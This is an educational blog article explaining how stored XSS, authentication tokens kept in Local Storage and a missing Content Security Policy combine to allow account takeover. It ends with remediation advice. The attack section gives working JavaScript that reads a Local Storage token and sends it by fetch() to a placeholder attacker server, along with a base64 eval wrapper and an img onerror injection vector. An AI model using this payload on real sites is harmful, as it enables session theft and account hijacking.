> Beniamin Jablonski, 2025-01-08 > [!attention] > This article has an educational purpose only. # INTRODUCTION Some time ago, I came across an application combining several security vulnerabilities to form an interesting attack vector, enabling a high-impact exploit. This made it possible to steal a session token and take over the user’s account. While this type of attack is neither new nor revolutionary, I encountered it in practice and decided to compile and organise information about it in one place. # THEORY ## Stored Cross-Site Scripting (XSS) **Cross-Site Scripting** (**XSS**) is a vulnerability where attackers **inject malicious scripts** into a website that runs in the browser. These scripts can steal sensitive data, like login credentials, or perform actions on behalf of the user without their knowledge. Stored XSS occurs when the malicious script is permanently saved on the server and delivered to all users viewing the affected content. XSS happens when a website doesn’t properly **validate** or **sanitise** user input before displaying it on the page. ## Local Storage **Local Storage** is a web storage mechanism present in web browsers that allows the storage of **key-value** pairs on the client side. The data stored in Local Storage has the following features: - It persists even after the browser is closed and reopened. - It is assigned to the domain and accessible only to pages loaded from the same domain. - It has no expiration time. You can see the example for this website in the browser **Developer Tools**. ![[Pasted image 20250108164915.png]] > [!important] > The most significant security concern with Local Storage is that it lacks an `HttpOnly` flag, unlike cookies. This means JavaScript running in the browser **can always access the stored data**, making it vulnerable to theft if an attacker exploits a Cross-Site Scripting (XSS) vulnerability. ## Content Security Policy (CSP) **Content Security Policy (CSP)** is a security mechanism that allows the definition of rules for how content on web pages is loaded and executed. By specifying trusted sources for scripts, styles, and resources, CSP helps mitigate specific vulnerabilities, especially XSS. To implement CSP, the server must include an HTTP response header called `Content-Security-Policy`. The value of this header defines the policy, which is composed of **directives** separated by semicolons. > [!warning] > Without a defined CSP, the website can potentially load any external resources without restrictions, including potentially malicious scripts, styles, or images. > [!note] > For more information, check out this [PortSwigger Article](https://portswigger.net/web-security/cross-site-scripting/content-security-policy). # ATTACK ## Attack Requirements - The possibility of **stored XSS**. - Misconfigured or lack of **Content Security Policy** (**CSP**). - Authentication token stored in browser's **Local Storage**. ## Attack Flow Having the information from the [[#THEORY]] section, we can understand the attack flow. The attack idea is presented in the figure below. Let's discuss it step by step: 1. The attacker exploits the stored XSS vulnerability and puts the payload on the webpage. 2. The logged-in victim user displays the webpage where the stored XSS payload is present and activates it. 3. The malicious JavaScript payload gets the value of the authentication token stored in Local Storage. 4. The malicious JavaScript payload sends the value to the external attacker's server, and the CSP does not prevent this action. 5. The attacker gets the authentication token and can log in to the website on behalf of the victim user. ![[Pasted image 20250108174812.png]] ## Payload Example Let's prepare the payload example. First of all, we create a malicious JavaScript code: ```js // PoC - we can quickly see that XSS works by displaying an alert: alert("XSS!"); // We determine the attacker's server URL: const targetUrl = "https://<attackers_server>/token"; // We define the key name of the value we want to extract from Local Storage: const authStorageValue = localStorage.getItem('<item>'); // We send the request do the malicious server and put the value of the given key from Local Storage in the URL: fetch(targetUrl+"?item="+authStorageValue,{method: 'GET'}); ``` We can change the `<attacker_server>` and `<item>` in the above payload to the appropriate ones, remove the comments and new lines and encode it to `base64` to have a payload in a convenient form. The `base64` value can be put into the following expression: ```js eval(atob('<base64_payload>')) ``` Let's test if our payload works. We go to the `https://example.com` webpage. We can manually add the dummy key-value pair in the Local Storage. ![[Pasted image 20250108212652.png]] Next, we paste our payload into the console using Developer Tools. We can see that the alert prompt is visible, so it's a good sign! ![[Pasted image 20250108202947.png]] After clicking `OK`, we can check if the remaining part of the payload executed as we expected. I used [Burp Collaborator](https://portswigger.net/burp/documentation/collaborator) as a convenient tool that serves as an attacker's server. We indeed got the request with the token value in the URL. ![[Pasted image 20250108203211.png]] The payload we prepared can be injected into the `HTML` code. For example, consider this one: ```html <img src/onerror=eval(atob('<base64>'))> ``` To summarise, if we have a web application that meets these free conditions - **(1) we can exploit the stored XSS vulnerability, (2) the authentication token is stored in Local Storage, (3) the CSP is not implemented or misconfigured** - we are dealing with a chain of vulnerabilities that might be critical and can lead to user accounts takeover. # REMEDIATIONS The following remediation actions are advised: - **Sanitise** and **filter** the user input to remove the XSS vulnerability. Especially, use these conversions: `>` to `&gt;` and `<` to `&lt;` if possible. Depending on the specific case, sanitisation and filtering might not be a trivial task. See the [OWASP - Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) for more details. - Consider storing the session token in the **cookie** with the **HTTP Only** flag enabled. - Implement a **Content Security Policy** restricting access to external resources and disallows sending requests to non-trusted third-party domains. # REFERENCES 1. [PortSwigger - Cross-site scripting](https://portswigger.net/web-security/cross-site-scripting#what-is-cross-site-scripting-xss) 2. [PortSwigger - Content security policy](https://portswigger.net/web-security/cross-site-scripting/content-security-policy) 3. [MDN Web Docs - Window: localStorage property](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) 4. [OWASP - Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)